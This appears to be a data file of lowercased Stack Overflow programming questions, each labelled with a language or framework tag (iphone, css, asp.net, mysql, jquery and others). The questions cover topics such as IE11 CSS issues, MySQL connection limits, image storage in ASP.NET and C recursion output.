how to navigate previous screen from camera view in iphone   im new to iphone  i have custom back button in camera view and using poptoviewcontroller  its not working  but i want when i click the back button to navigate home screen  how  please any one help me.    i tried the source code   <pre><code>backbtn=[uibutton buttonwithtype:uibuttontypecustom]; backbtn.frame=cgrectmake(40  10  80  40); [backbtn setbackgroundimage:[uiimage imagenamed:@ backspace.png ]            forstate:uicontrolstatenormal]; [backbtn addtarget:self action:@selector(gotoprevious)  forcontrolevents:uicontroleventtouchupinside];  [buttonview addsubview:backbtn];   -(void)gotoprevious {      nslog(@ go to prevoius screen );  homepage *homepage=[[homepage alloc]init];  [self.navigationcontroller poptoviewcontroller:homepage animated:yes];   } </code></pre>,iphone
external css properties not getting applied  i am primarily a mainframe developer and maintain a front end web application which was built in 2002 (but i joined it since 2012) and compatible only with ie 5. we have been surviving all these years with compatibility mode in ie. now our client want us to make it compatible with ie 11. we just started off with a basic proof of concept taking one page and we noticed a couple of things with javascripts (fixed).    but we are stuck with an issue with our external style sheets. css properties are not being applied. when checked in debugger  there are check boxes are available for position &amp; visibility attributes but top  left  and other things don t have check boxes and doesn t seem to apply. i researched a lot before posting this question but couldn t find a right answer. here is a sample div and css.   <pre><code>&lt;div id=pd_div_searchby class=srchsearchby style= visibility: visible &gt;    ....    .... &lt;/div&gt;  .srchsearchby { position:absolute; visibility:hidden; -&gt; seems to work   top:75; left:5; width:225; height:135; } -&gt; don t work </code></pre>   please pardon my knowledge if something was mentioned inappropriately.    thanks,css
count letter differences of two strings  this is the behaviour i want:   <pre><code>a: igadkyfhargnydaa c: kgadkyfhargnyeaa 2 difference(s). </code></pre>,python
highlighting graph points clicked on in html canvas  i currently have an html page that produces a line graph inside a canvas element.  i have also implemented a feature so that when you click on a point in the graph  a table below the canvas displays the information for that graph point  and clears if you click somewhere that isn t a graph point on the canvas.  however  there is currently no indicator for what graph point you have selected.    i would like to make it so that the dot you click on either gets bigger  or highlighted  or something.  unfortunately  i don t <em>think</em> there s any way to do that on the one canvas without needing to redraw the entire graph afterwards.  if i drew a bigger dot on top of the original  i would then need to erase it and replace it with the smaller one  as well as redrawing the segment of the line graph that was covered by the larger dot.    i was looking into using a second canvas on top of the first with identical dimensions  using a z-index to control which was on top.  however  i don t know how this would affect the click event.  if two canvasses are on top of each other  is it possible for the click event to register the lower canvas   does it only register the higher one   i guess i could just change the click event to be for whichever canvas is on top  but keep all the code for drawing on the canvas the same.    any advice for how to solve this problem,html
retrieving image from database in asp.net  i am uploading and retrieving the image from the database . image is uploaded in the database but there is problem while retrieving it on the same page.it does not show the image.it gives an exception  unable to cast object of type  system.byte[]  to type  system.string .  in handler.ashx in line string s = (string)img;   <pre><code>protected void button1_click(object sender  eventargs e)     {         {             sqlconnection connection = null;       try{                 fileupload img = (fileupload)fileupload1;             byte[] imgbyte = null;             if (img.hasfile &amp;&amp; img.postedfile != null)             {                 //to create a postedfile                 httppostedfile file = fileupload1.postedfile;                 //create byte array with file len                 imgbyte = new byte[file.contentlength];                 //force the control to load data in array                 file.inputstream.read(imgbyte  0  file.contentlength);             }             // insert the employee name and image into db             //  string conn = configurationmanager.connectionstrings[ employeeconnstring ].connectionstring;             connection = new sqlconnection(@ data source=.\sqlexpress;attachdbfilename=|datadirectory|\database.mdf;integrated security=true;user instance=true );              connection.open();             string sql =  insert into table1(imagename image) values(@enm  @eimg) select @@identity ;             sqlcommand cmd = new sqlcommand(sql  connection);             cmd.parameters.addwithvalue( @enm   textbox1.text.trim());             cmd.parameters.addwithvalue( @eimg   imgbyte);             int id = convert.toint32(cmd.executescalar());             label1.text = string.format( employee id is {0}   id);          image1.imageurl =  ~/handler.ashx id=  + id;     }         catch (exception)         {    //error        }             label1.text =  error ;         }     } } </code></pre>   handler ................   <pre><code>public void processrequest (httpcontext context) {      int32 empno;     if (context.request.querystring[ id ] != null)         empno = convert.toint32(context.request.querystring[ id ]);     else         throw new argumentexception( no parameter specified );      context.response.contenttype =  image/jpeg ;     stream strm = showempimage(empno);     byte[] buffer = new byte[4096];     int byteseq = strm.read(buffer  0  4096);      while (byteseq &gt; 0)     {         context.response.outputstream.write(buffer  0  byteseq);         byteseq = strm.read(buffer  0  4096);     }     }   public stream showempimage(int empno) {      sqlconnection connection = new sqlconnection(@ data source=.\sqlexpress;attachdbfilename=|datadirectory|\database.mdf;integrated security=true;user instance=true );     string sql =  select image from table1 where imageid = @id ;     sqlcommand cmd = new sqlcommand(sql  connection);     cmd.commandtype = commandtype.text;     cmd.parameters.addwithvalue( @id   empno);     connection.open();     object img = cmd.executescalar();     string s = (string)img;     byte[] data = system.text.encoding.ascii.getbytes(s);   return new memorystream(data);          //   return null;         //   connection.close();  }    public bool isreusable {     get {         return false;     } } </code></pre>   } .................. database ................ table1 contains   <pre><code>imageid------int imagename----varchar(50) image--------image </code></pre>,asp.net
how to fix a html table to a specific size  i have a table in html  which works fine in 1280 by 1024 resolution. if i change the resolution  the table increases according to the resolution.    the table height is 955px  width is 701px.    is there a way to fix table to be the same size for all resolutions,html
isolated storage question  how do i store an object (of class) into isolated storage     thanks,c#
saving an incremental game locally  i m trying to get my incremental game to save cookies/data locally  but am not sure how to do it.. here s the html and the javascript.    javascript:   <pre><code>    savegame() = function() {     saveservice.savegame();     }      resetgame() = function() {     localstorage.clear();     } </code></pre>   html:   <pre><code>                    &lt;section&gt;&lt;center&gt;                         &lt;p&gt;the game auto-saves every 30 seconds  but in case you are in a hurry  use this:&lt;/p&gt;&lt;br /&gt;                         &lt;a class= button12  ng-click= savegame() /&gt;save game&lt;/a&gt;                         &lt;br /&gt;&lt;br /&gt;                     &lt;/center&gt;&lt;/section&gt;                         &lt;hr&gt;                     &lt;section&gt;&lt;center&gt;                         &lt;p&gt;this will &lt;strong&gt;permanently&lt;/strong&gt; reset your game (refresh after you press it):&lt;/p&gt;&lt;br /&gt;                         &lt;a class= button12  ng-click= resetgame() &gt;reset game&lt;/a&gt;                         &lt;br /&gt;&lt;br /&gt;                     &lt;/center&gt;&lt;/section&gt; </code></pre>   in addition to saving your game  i also want to be able to have the game be able to get reset. how could i do that as well,javascript
creating virtual directory in iis 7.0 using c#.net  i am trying to create virtual directory in iis 7.0 using c#.net or vb.net     can  any one guide me with that,.net
jquery filter next select group based on selection of previous select group  so i need a user to select three select boxes (all multiselect).     the idea is that there are many different specific types of desserts  and instead of having one huge multi-select box  i include two other multi-select boxes to narrow down what the user has to click.     in this case  they first go through the  layer1   click on cookie  and then the second layer should only show sprinkled cookie and iced cookie.     then  on the  layer2  if they select both sprinkled cookie and iced cookie  then  dark sprinkled cookie and white sprinkled cookie  and white iced cookie should show up on  layer3 .    i m having trouble figuring out how to do the filter and replacing the html text with the right result.   <pre><code>&lt;select id= layer1  multiple= multiple &gt;   &lt;option my_id=3&gt;chocolate&lt;/option&gt;   &lt;option my_id=5&gt;cookie&lt;/option&gt; &lt;/select&gt;  &lt;select id= layer2  multiple= multiple &gt;   &lt;option parent_id=3 my_id=6&gt;milk chocolate&lt;/option&gt;   &lt;option parent_id=5 my_id =7&gt;sprinkled cookie&lt;/option&gt;   &lt;option parent_id=5 my_id =8&gt;iced cookie&lt;/option&gt; &lt;/select&gt;  &lt;select id= layer3  multiple= multiple &gt;   &lt;option parent_id=7 my_id=10 &gt;dark sprinked cookie&lt;/option&gt;   &lt;option parent_id=7 my_id=11 &gt; white sprinkled cookie&lt;/option&gt;   &lt;option parent_id=8 my_id=12&gt; white iced cookie &lt;/option&gt; &lt;/select&gt; &lt;script&gt; $(  select  )   .change(function () {     console.log($(this).attr( id )); //tells me the layer i think     nextlayerstuff = //get the next layer somehow      options = $(nextstuff).filter(not sure what to do here).html()     //somehow display the new select options for the next layer &lt;/script&gt; </code></pre>,jquery
how to create rss feed for a website   i developed a webapplication now i want to create rss feeds for my website. in my application i have a module call film news  which contain the latest news of the film stars. now i want to create rss feeds for that module. the news contains title and description. how can i create rss feeds for my application,asp.net
fetch most significant word of a double  i would like to fetch the most significant 32-bit word of a <code>double</code> variable.    i know that a <code>double</code> is 8 bytes long and i expect as a return of my function an <code>unsigned long</code> that will hold the 4 most significant bytes of a double.    <pre><code>unsigned long doublesmsw(double value);  int main() {   double d=54645654663905 ;   unsigned long fin=doublesmsw(d);   printf( %lu   fin );   return 0; }  unsigned long doublesmsw(double value) {   unsigned long long mask=0x00000000ffffffff ;   return ((unsigned long long) value&gt;&gt;32 &amp; mask); } </code></pre>,c
use of <%= %> and <%# %> for server control  how i can use of   &lt;%= %> and &lt;%# %>  for server control i try use of  &lt;%= %> and &lt;%# %>  in a linkbutton(like below tag a)  but i get this error  invalid expression term  >    but tag a was without error    <pre><code>&lt;a title= &lt;%#eval( title )%&gt;  href= &lt;%= webform6.aspx id= %&gt;&lt;%#eval( news_id )%&gt; &gt;content&lt;/a&gt; </code></pre>,asp.net
how to store array values in dictionary  <pre><code>char[] delimiterchars = {            .    :    /    -    \t    =    &amp;       };  string str = convert.tostring(entry.value);  string[] words = str.split(delimiterchars); </code></pre>,asp.net
nsarray from nscharacterset  currently i am able to make array of alphabets like below   <pre><code>[[nsarray alloc]initwithobjects:@ a  @ b  @ c  @ d  @ e  @ f  @ g  @ h  @ i  @ j  @ k  @ l  @ m  @ n  @ o  @ p  @ q  @ r  @ s  @ t  @ u  @ v  @ w  @ x  @ y  @ z  nil]; </code></pre>   knowing that is available over   <pre><code>[nscharacterset uppercaselettercharacterset] </code></pre>   is there anyway i can make an array out of it,objective-c
combine two of the table mysql  i have 2 mysql table and i want to combine two of the table . my question is how do i make two tables into one query with certain criteria   for more details show images <a href= http://i.stack.imgur.com/irpop.png  rel= nofollow >design query</a>,mysql
how to chain an anonymous function in jquery   i am trying to chain an anonymous function in jquery but it s not working. i get an error  error: xml filter is applied to non-xml value ... . what s the proper syntax or is there an effect function i can use which doesn t do anything visually and which wraps my function     my example:  <code>$item.appendto($list).(function() {.....}());</code>,jquery
max_user_connections error meaning and fixing  i am getting this error from mysql:  unable to connect to database [user xyzxyz already has more than  max_user_connections  active connections     my current max_user_connections=50  and i am running on a vps    as a first step (i read somewhere that it should help) i created a new mysql user that will handle all the background operations which are the majority of the operations on my site. so now i have 2 users:   <ul> <li>xyzxyz_backgrounds- handling background operations</li> <li>xyzxyz_users - handling only mysql calls generated from users of the actual site.</li> </ul>   still after that change users are reporting getting  xyzxyz_users already has more than  max_user_connections  active connections     this is a busy site that i running  but i wonder if i don t have a mistake in the code that is causing this.    i tried running  show processlist  and  show full processlist   but i only see 2 rows that are returned (one sleep and one query of the the show processlist).    as far i know  i don t have any type of persistent mysql connections    below is the code that i use the start the mysql connection at the head of each php file (using  require )   <pre><code>if (!(isset($use_pdo))) {   $conn_mls = mysql_connect($dbhost  $dbuser  $dbpass);   mysql_select_db($dbname);   mysql_query( set names utf8 );  }else{     $options = array(         pdo::mysql_attr_init_command =&gt;  set names utf8       );     $dsn =  mysql:host=127.0.0.1;dbname=$dbname;charset=utf8 ;     $conn = new pdo($dsn  $dbuser   $dbpass   $options);     $conn-&gt;setattribute(pdo::attr_errmode  pdo::errmode_exception);  }; </code></pre>   in some cases i use mysqli  i don t think i use persist connections there  i can post the code if required.     when does mysql create a new connection   if i have max_user_connections=50 does it mean that only 50 users can connect to the website at the same time  do i need to manually close the connection in the code  or does mysql handles it itself,mysql
how to write a strings data to a text file - java  i have this account creation program i m working on  and would love to save the persons name  last name  email and password to a text file. the following snippet <em>should</em> do just that  but the error message i m getting when i put a string variable in the .write method is  <strong> no suitable method found for write(jtextfeild) .</strong>   <pre><code>private void signupactionperformed(java.awt.event.actionevent evt) {                                            fname.gettext();     lname.gettext();     email.gettext();     reemail.gettext();     password.gettext();     repassword.gettext();      if(male.equals(true)) {         males = true;     }     if(female.equals(true)) {         females = true;     }      bufferedwriter writer = null;     try {         writer = new bufferedwriter( new filewriter( userpass.txt ));         writer.write(fname);      }     catch ( ioexception e) {     }     finally {         try {             if ( writer != null) {                 writer.close( );             }         }         catch ( ioexception e) {         }     } }                              </code></pre>   any ideas on how to fix this,java
putting image in pdf at specified form field in php  i have some code already that will take a pdf form and auto-populate the fields with the desired data. now i need to be able to determine where the bounding box for a given field is and what it s dimensions are  in order to put an image file on top of that area....    i ve check out adobe acrobat pro  pdftk  fpdf  php s pdf functions... etc. but haven t found a solution.    any ideas on this one     thanx,php
how to make clicked a button with javascript  i am working at an php project but i have no idea about javascpript but somewhere in my code i needed to make clicked and trigger an event by code can i do that can you help me     the code i need to trigger is   <pre><code>      $(document).ready(function(){        $( .btn-slide ).click(function(){        $( #panel ).slidetoggle( slow );        $(this).toggleclass( active ); return false;       });         }); </code></pre>   my main aim is run this javascpript according coming variable from other page like that   <pre><code>        &lt; php                if($_post[ passerr ] ==  ***pass format error!!***  ){             &gt;            &lt;script type= text/javascript &gt;            $( .btn-slide ).trigger( click );            &lt;/script&gt;       &lt; php </code></pre>,javascript
how to use between operator with text value in sql   how am i going to use between operator with text value or what is the right syntax when you will select all products with a productname for example ending with any of the letter between  c  and  m,sql
embed .php webpage not showing  hi i am using the code below to embed external site to my blog and it works for .html page but not .php    please help me how to make .php showing on my blog   <pre><code>&lt;head&gt; &lt;script src= code.jquery.com/jquery-1.10.2.js \&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= docs &gt; &lt;/div&gt;  &lt;script&gt; $(  #docs  ).load(  http://www.aps.ai/tracking.php); &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
restoring entered data after user hits back then forward (android)  activity 1 in my application starts activity 2 when the  next  button is pressed.    if the user hits the back button in activity 2  the application returns them to activity 1    if the user then hits the  next  button  the application brings them to activity 2 again  but anything that was entered in activity 2 is now blank. is there any way to keep the data fields in activity 2 intact,android
jquery updating multiple text input  im trying to update all fields  but seem it didnt work  is there anything wrong in the code    <pre><code>&lt;tr id= 1 &gt;&lt;td&gt;&lt;input type= text  id= pro_1 &gt;&lt;input type= text  id= sales_1 &gt;&lt;/td&gt;&lt;/tr&gt; // &lt;tr id= 2 &gt;&lt;td&gt;&lt;input type= text  id= pro_2 &gt;&lt;input type= text  id= sales_2 &gt;&lt;/td&gt;&lt;/tr&gt; // &lt;tr id= 3 &gt;&lt;td&gt;&lt;input type= text  id= pro_3 &gt;&lt;input type= text  id= sales_3 &gt;&lt;/td&gt;&lt;/tr&gt; //  $( #save_products ).live( click  function() {         var $inputs = $( #form ).find( input[type=text] );         $inputs.each(function(){             var counter = $inputs.length;             var pro_id = $(this).closest.parent( tr ).pro_id; //&lt;--             var pro_value = $(this).find( pro_ +pro_id).attr( value );             var sales_value = $(this).find( sales_ +pro_id).attr( value );             $.post( include/setting.php save  {id:pro_id  pro_value:pro_value  sales_value:sales_value  count:counter}  function(data){                 if(data.success) {                       $( .err_message ).html(data.message).addclass( ok ).fadein( slow );                          } else {$( .err_message ).html(data.message).addclass( error ).fadein( slow );}             }  json );         })         return false;     }); </code></pre>,jquery
access value of dictionary if keys are same of each value in python   i made a dictionary using python    <pre><code>dictionary = { key : a    key : b })  print(dictionary) print (dictionary.get( key )) </code></pre>   when run this code then shows the last value of dictionary  is there any way to access the first value of dictionary if keys of both elements of dictionary are same.,python
ieeeremainder print different output when i used code internally <pre><code>public static double ieeeremainder(double f1  double f2) {     return strictmath.ieeeremainder(f1  f2);  } </code></pre>   so <code>strictmath.ieeeremainder(f1  f2)</code> is called from <code>math.ieeeremainder</code> class.    i found <code>strictmath.ieeeremainder(f1  f2)</code> from here <a href= http://developer.classpath.org/doc/java/lang/strictmath-source.html  rel= nofollow >http://developer.classpath.org/doc/java/lang/strictmath-source.html</a>    and the code is  i used this code later:   <pre><code>public static double ieeeremainder(double x  double y) {     // purge off exception values.     if (x == java.lang.double.negative_infinity || ! (x &lt; java.lang.double.positive_infinity) || y == 0 || y != y) return java.lang.double.nan;      boolean negative = x &lt; 0;     x = math.abs(x);     y = math.abs(y);     if (x == y || x == 0) return 0 * x; // get correct sign.      // achieve x &lt; 2y  then take first shot at remainder.     if (y &lt; two_1023) x %= y + y;      // now adjust x to get correct precision.     if (y &lt; 4 / two_1023) {       if (x + x &gt; y) {         x -= y;         if (x + x &gt;= y) x -= y;       }     }     else {       y *= 0.5;       if (x &gt; y) {         x -= y;         if (x &gt;= y) x -= y;       }     }     return negative   -x : x;   } </code></pre>   but the problem is when i execute the below code    <pre><code>  double d1 = 123.45   d2 = 35.10;   1. system.out.println(strictmath.ieeeremainder(d1  d2)); // -16.950000000000003   2. system.out.println(math.ieeeremainder(d1  d2)); // -16.950000000000003   3. system.out.println(ieeeremainder(d1  d2));   // 18.150000000000002 </code></pre>   third output is different from others two. for the third i used code the from <a href= http://developer.classpath.org/doc/java/lang/strictmath-source.html  rel= nofollow >http://developer.classpath.org/doc/java/lang/strictmath-source.html</a>    what is the reason for different output where i used the same method,java
make a css generated triangle appearing at the bottom of the div half the size  i am having a very hard time understanding what i have to change in order to impact the size of this css triangle (as originally defined on <a href= https://stackoverflow.com/questions/21176948/horizontally-center-small-triangle-at-bottom-of-div-and-resize-responsively-and >this stackoverflow entry</a>). i am looking for the same effect but about 50% smaller triangle.    i noticed in the referenced stackoverflow post @danield noted the following:   <blockquote>    1) (padding-left + width)/padding-top = (border-left + border-right)/border-top = base/height         2) margin-left = -border-left = -border-right         3) margin-top = -border-top         4) width = padding-left  </blockquote>   but when i try to follow this i get completely muddled.     this is the current code i have:    <a href= http://jsfiddle.net/fakeguybrushthreepwood/xctan/  rel= nofollow noreferrer >fiddle</a>    <strong>html:</strong>   <pre><code>&lt;div class= top &gt;     &lt;div class= triangle-down &gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= bottom &gt;&lt;/div&gt; </code></pre>   <strong>css:</strong>   <pre><code>.top {     background: pink;     height: 100px;     position: relative; }  .bottom {     background: lightgreen;     height: 100px; } .triangle-down{     width: 3%;     height: 0;     padding-left:3%;     padding-top: 2%;     overflow: hidden;     position: absolute;     left:0;right:0;     margin:auto;     top: 100px;     z-index:1; } .triangle-down:before {     content:   ;     display: block;     width: 0;     height: 0;     margin-left:-50px;     margin-top:-33px;      border-left: 50px solid transparent;     border-right: 50px solid transparent;     border-top: 33px solid pink; } </code></pre>,css
asp.net - capture screen shot  i am thinking about using a webbrowser object to create a screen shot of a page a user has visited (by capturing the url).  part of the class will look something like the below.  this is an internal application and the reason is to allow the user to see how the dynamic page looked several months ago when they last visited.   <pre><code>public function convertpage(byval pageurl as string) as bitmap         me.pageurl = pageurl         dim thrcurrent as new thread(new threadstart(addressof createimage))         thrcurrent.setapartmentstate(apartmentstate.sta)         thrcurrent.start()         thrcurrent.join()         createimage()         return convertedimage     end function private sub createimage()      dim browsepage as new webbrowser()     browsepage.scrollbarsenabled = false     browsepage.navigate(pageurl)     addhandler browsepage.documentcompleted  addressof _ webbrowser_documentcompleted      while browsepage.readystate &lt;&gt; webbrowserreadystate.complete         application.doevents()     end while     browsepage.dispose() end sub </code></pre>   earlier today i was reading an entry (i think it was on here) and the answerer advised the questioner to avoid this approach.  i do not have a link to this post.  is this a poor apprach bin your view i.e. using a webbrowser object in an asp.net page,asp.net
sorty by best results  have mysql table with field  descript  and these sample values.   <pre><code>malik ali dali other ali </code></pre>   have mysql query like:    <pre><code>select * from table where descript like  %ali%  </code></pre>   is it possible to sort select results buy the most relevant  so in this example i would like to have it: 1. ali 2. other ali 3. dali / malik ...,mysql
why to use copy constructor c++  as i know  when we assign one object is another default copy constructor will be called.   <pre><code>class class1 obj1; class class2 obj2; obj1(obj2); //default copy constructor will be called by compiler  </code></pre>   so  when should i write explicitly the copy constructor,c++
custom jquery functions and arguments  i have written this scirpt:   <pre><code> $(document).ready(function () {    $( #tb1 li ).hover(function () {     var head = $(this).attr( title );     var image = $(this).find( a ).attr( rel );     $( .acnt img ).attr( src   image);     $( .acnt span ).html(head);     });     $( #tb1 li ).eq(0).hover(); });  </code></pre>   i want to make this script global   <pre><code>function interactive(myid  myclass){     id =  #  + myid;     cls =  .  + myclass;      $( id li ).hover(function () {     var head = $(this).attr( title );     var image = $(this).find( a ).attr( rel );     $( cls img ).attr( src   image);     $( cls span ).html(head);     });     $( id li ).eq(0).hover(); } </code></pre>   i know that jquery function not similar to for example php functions. the <code>interactive</code> functions will not work in jquery. how can i modify this function for jquery  thanks in advance.,jquery
how to host a .net website in the server  how do i host a asp.net website on a server  i have created a website using visual studio 2010 as a frontend and sqlserver 2008 as a backend. what are the steps i should take for hosting the website on a server  do i have to buy any licenses for .net or sqlserver  if so  how much will this cost,asp.net
how to block numerical input from user into textbox c#  i am already blocking empty input now and i need to block numerical input for my textbox but i do not know how to do this    here is my partial code   <pre><code>if (amateurcheckbox.ischecked == true)          {             if (string.isnullorempty(newnametextbox.text))             {                 prompt();             }               else             {                 messagebox.show( amateur competitor added. );             }         } </code></pre>,c#
.net chatremoting issues  im coding a chat app using .net remoting. the problem is that i want to use invoke to edit a form (addmsg) in the client but i cant call it because i can only instantiate the superclass (in clientobject constructor) and not the subclass because its not visible for me. i can t explain the problem very well but its explicit in the code in the comments.    client code:    namespace dadchat {   <pre><code>public partial class form1 : form {     private myremoteobject objetoservidor = null;     private clientobject objetocliente = null;      public form1()     {         initializecomponent();     }      private void sendbutton_click(object sender  eventargs e)     {         string mensagem = messagebox.text;         string nick = nickbox.text;          objetoservidor.enviamensagem(nick  mensagem);     }      public void addmsg(string m) //adiciona mensagem à conversa     {         textbox4.text +=  \r\n  + m;     }      private void connectbutton_click(object sender  eventargs e)     {         string url =  tcp://localhost:  + portbox.text +  /objectclientname ;         int port = int32.parse(portbox.text);         string nick = nickbox.text;          tcpchannel channel = new tcpchannel(port);         channelservices.registerchannel(channel  true);          objetocliente = new clientobject(this); /* i use this to pass the reference of this object so i can edit the form in the remote class */          remotingservices.marshal(objetocliente   objectclientname   typeof(clientobject));          objetoservidor = (myremoteobject)activator.getobject(typeof(myremoteobject)   tcp://localhost:8096/myremoteobjectname );          novocliente cliente = new novocliente();         cliente.nome = nick;          objetoservidor.adicionarcliente(cliente.nome  url  port);         objetoservidor.printlistaclientes();     } } </code></pre>   }    the remote class: namespace chatobjects {     public delegate void delchat(string m);   <pre><code>public class myremoteobject : marshalbyrefobject {     private list&lt;novocliente&gt; listaclientes = new list&lt;novocliente&gt;();     public event delchat serverparacliente;      public string metodoola()     {         return  ola! ;     }      public void adicionarcliente(string nome  string url int port)     {         if (nome != null)         {             novocliente cliente = new novocliente();             cliente.nome = nome;             cliente.porto = port;             cliente.url = url;             listaclientes.add(cliente);         }     }      public void printlistaclientes()     {         for (int i = 0; i &lt; listaclientes.count; i++)             console.writeline( cliente:   + listaclientes[i].nome +   e a sua localização é   + listaclientes[i].porto +  \n );     }      public void enviamensagem(string nickname  string mensagem) //método responsável por receber a mensagem do utilizador e envia para o chat      {         string mensagemfinal = nickname +  :   + mensagem;         foreach (novocliente cliente in listaclientes)         {             clientobject obj = (clientobject)activator.getobject(typeof(clientobject)  cliente.url);             obj.recebemsg(mensagemfinal);         }     } }  public class clientobject : marshalbyrefobject {     public form f; /* the problem resides here because to call addmsg it should form1 f and not form */     public clientobject(form f)     {         this.f = f;     }       public void recebemsg(string msg)     {         f.invoke(new delchat(f.addmsg)  new object[] { msg });   /* cant call addmsg */       } } public class novocliente {     private string nome;     private int porto;     private string url;      public string nome     {         get         {             return nome;         }         set         {             nome = value;         }     }     public string url     {         get         {             return url;         }         set         {             url = value;         }     }      public int porto     {         get         {             return porto;         }         set         {             porto = value;         }     } } </code></pre>   }    thank you for the help in advance,.net
mysql with two select statements and not in  i m trying to distract the following info from a booking system:   <ul> <li>select users whose products that either did not receive any paid bookings at all  or whose products did not receive any paid bookings in the last year;</li> <li>users can offer more than one product  and i only want to select users for whom these conditions apply over all their products.</li> </ul>   i have two tables that contain the necessary info: a products table and a bookings table. the user without any bookings doesn t have a record in the bookings table; users with bookings should only be selected if all their products were booked longer than a year ago.    i have the following two statements  but i want to combine it and they don t give me the correct info (unfortunately i m not very familiar with these difficult sql statements):    users without bookings (i think this one is correct):   <pre><code>select products.user_id  products.id from products left join bookings on bookings.product_id = products.id where bookings.product_id is null </code></pre>   users that don t have any bookings over the last year (i select on status_paid  which has a datetime format)   <pre><code>select distinct bookings.user_id  date_format(bookings.status_paid   %y-%m-%d ) from bookings where bookings.user_id not in (     select bookings.user_id     from bookings     where date_format(bookings.status_paid   %y-%m-%d ) &gt;  date_add(date_format(bookings.status_paid   %y-%m-%d )  interval -1 year)     ) and bookings.status_paid is not null </code></pre>   how can i combine them and make them to work     many thanks for helping me out!,mysql
how to call a property or its methods using a variable in objective-c   i have a class called business. the business class has properties  id    name    slogan   etc.   <pre><code>@interface business : nsobject  @property (nonatomic) nsinteger id;  @property (nonatomic  strong) nsstring *name;  @property (nonatomic  strong) nsstring *slogan; </code></pre>   i created an instance of the object.   <pre><code>business *newbusiness = [[business alloc] initwithid:2]; </code></pre>   this is where i need help. say i wanted to call its  id  property  but want to do it through a variable.   <pre><code>nsstring *property = @ slogan ;  [newbusiness property] = @ we can do it! ; </code></pre>   or   <pre><code>newbusiness.property = @ we can do it! ; </code></pre>,objective-c
error when sql querying multiple tables  i have to query multiple tables (<code>tcountry  tcity  tcompany  temployee</code>) to get a final answer with countries/cities/populations/companies/number of employees included. somewhere i must be making a mistake.     tables <code>tcountry</code> and <code>tcity</code> have one column with the same name (<code>country_name</code>)  tables <code>tcity</code> and <code>tcompany</code> have also both one column with the same name (<code>city_name</code>)  tables <code>tcompany</code> and <code>temployee</code> have both one column with same name (<code>company_name</code>).       query:   <pre><code>select      tcountry.country_name as country       tcountry.country_population as population1      tcity.city_name as city       tcity.city_population as population2      tcompany.company_name as company      count as (*) employee  from      temployee  inner join      tcity on temployee.company_city_name = tcity.city  inner join      tcountry on tcity.country_name = tcountry.country order by      number_of_employees </code></pre>,sql
c language recursion control  the program is about the function recursion  need to know how the control to the entire program   <pre><code>void count(int n) {   static int d=1;   printf( %d  n);   printf( %d  d);   d++;   if(n&gt;1)     count(n-1);   printf( %d  d); }  void main() {   count(3); } </code></pre>   my expected output is    <pre><code>3122134 </code></pre>   original output is   <pre><code>312213444   </code></pre>   can anyone please explain how those extra two 4 s has added to output     please explain about flow control about this program.,c
jquery change event issue when same file select  i used <strong>change</strong> event of jquery for capturing selecting image from my computer.   <pre><code>$( #user_photo ).change(function () {   alert( yes ); });  </code></pre>   but my problem is when i select same file again then this function does not work. yes obvious it won t. but i want a solution of this. can you help me,jquery
failed to read auto-increment value from storage engine  error number: 1467  when inserting data in mysql i get this error:    error number: 1467    failed to read auto-increment value from storage engine    i don t now how to solve this issue please any help will be appreciated.,mysql
mpeg1 to mpeg4   how to convert thro objective-c the mpeg1 to mpeg4  is there any application that does  so that i can add to my app and test     thanks.,iphone
php: what is the complexity [i.e o(1) o(n)] of the function  count    what is the big-o time complexity of the <a href= http://php.net/manual/en/function.count.php  rel= noreferrer ><code>count()</code></a> function for arrays     example   <pre><code>$x = array(1 2 3); echo count($x); // how many operation does it takes to count the elements                  // of the array  is it 3  or is it 1 </code></pre>,php
ios getting uiimage filename by parsing nib  i m trying to make a tool that lets me design my guis in interface builder and then export those guis into a xml or plist file for dynamically loading at runtime.  i can get all of the various properties i need from uibuttons  uiimages  etc  except for the filenames of the images shown on various elements.    i was wondering if there was any way to get some little-known property from the various ui objects (like the various keys or ids i see in the nib) and use that to help perform a search through the nib xml to find what i need.  for example a given button has  id   34567875492   and i could then search the nib xml for that id and a nearby filename for an image.    or  i could use a better way to develop runtime guis without webviews or writing totally-custom xml with no wsiwyg editor...  thanks!,ios
changing the data structure used by an angularjs $resource s $save function  we have several models in our web application that have different view / create models.    for instance  suppose a theoretical application where you can add users to groups. when displaying the group  it is useful to include the users. that is  a get to /api/groups should return something like this:   <pre><code>[     {         id:  groups/1           name:  administrators           users: [             {id:  users/1   name:  ted }              {id:  users/2   name:  bill }              {id:  users/3   name:  robert }         ]     } ] </code></pre>   however  when creating a group  it seems silly to post the entire user. in this example  the users are small  but in practice  they can contain many properties (images  addresses  what have you). the server will need to load the users and do something with them upon group creation anyway  so there s no need to post all of that stuff back. i d like the post to look like this:   <pre><code>[     {         id:  groups/2           name:  wheel           users: [  users/8    users/9    users/10  ]     } ] </code></pre>   when defining my resource  i have something like this:   <pre><code>angular.module( resources ).factory( group   [ $resource       function($resource) {         return $resource( /api/groups   {}  {             save: {                 method:  post                   url:  /api/groups                   transformrequest: function(requestdata  headersgetter) {                     //manipulate the request here                     //herein lies my problem                     //requestdata.users = requestdata.users.map(function(u) {return u.id;})                 }             }         });     } ]); </code></pre>   unfortunately  <code>requestdata</code> isn t the group instance  but rather something that can be passed to <code>group.$save()</code>. when <code>$save()</code> is called with no arguments  <code>requestdata</code> is undefined. how are you supposed to accomplish this  i d <em>really</em> rather not just fall back on using $http.,angularjs
asp.net redirect rule for .cfm file  i have a dotnetnuke application where i am migrating all my old web sites all together under portals. as users are storing old sites urls into bookmarks  i need to write redirect rules so they can get properly on new page.    now  at one point i stuck because i am unable to write rule.    my condition is  url a <a href= http://www.mydomain.com.cn/auto.cfm myurl=domain/notice_article.cfm  rel= nofollow >http://www.mydomain.com.cn/auto.cfm myurl=domain/notice_article.cfm</a> should redirect to <a href= http://www.mynewdomain.com/home.aspx  rel= nofollow >http://www.mynewdomain.com/home.aspx</a>,asp.net
active links  color change in ie6 and firefox  i make link buttons on sidebar of a web page. it will change color if i click the button. it works well in ie6 but not firefox. anyone can advise me how to make it on in ff. million thanks.           here are parts in css and html body:       <pre><code>.sidenav li a:active {     background: #cff;     color: blue;   }  ....  &lt;div class= sidenav &gt; &lt;ul&gt;     &lt;li&gt;&lt;a href= ...  &gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>,css
